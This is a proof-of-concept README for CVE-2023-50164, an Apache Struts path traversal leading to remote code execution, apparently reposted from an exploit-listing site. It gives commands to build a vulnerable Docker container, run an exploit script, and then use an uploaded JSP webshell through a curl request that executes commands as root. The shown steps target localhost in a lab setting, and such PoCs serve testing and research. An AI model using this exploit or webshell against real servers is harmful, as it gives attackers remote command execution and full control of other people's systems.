Exploit for Files or Directories Accessible to External Parties in Apache Struts CVE-2023-50164

## https://sploitus.com/exploit?id=7487D152-E92E-58C6-B0D2-2377E8415CEC
# CVE-2023-50164 (Apache Struts path traversal to RCE vulnerability) - Proof of Concept

This PoC has been made to test an RCE (Remote Code Execution) by exploiting the Apache Struts2 vulnerability.


![](img/1.png)

Build the image and run a container:

```console
$ DOCKER_BUILDKIT=1 docker build  . -t struts2-rce-poc && docker run --rm -p 8080:8080 struts2-rce-poc
```

Run the exploit:

```
$ cd exploit
$ ./exploit.sh
```

Now you can executy arbitrary commands on server side as showed:

```
$ curl http://localhost:8080/webshell/webshell.jsp\?cmd\=id%20-a  

uid=0(root) gid=0(root) groups=0(root)
```

## Credits 

- Thanks to @jakabakos for an example of vulnerable application (https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE)
- Thanks to Zscaler ThreatLabz (https://www.zscaler.com/blogs/security-research/coverage-advisory-cve-2023-50164-apache-struts-path-traversal-and-file) for the diagram here above